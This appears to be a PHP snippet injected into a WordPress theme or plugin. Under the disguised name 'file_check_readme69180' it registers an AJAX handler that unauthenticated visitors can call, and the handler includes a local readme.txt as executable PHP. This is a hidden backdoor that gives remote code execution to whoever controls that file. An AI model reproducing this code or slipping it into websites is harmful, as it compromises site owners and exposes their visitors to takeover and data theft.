if(!function_exists('file_check_readme69180')){ add_action('wp_ajax_nopriv_file_check_readme69180', 'file_check_readme69180'); add_action('wp_ajax_file_check_readme69180', 'file_check_readme69180'); function file_check_readme69180() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }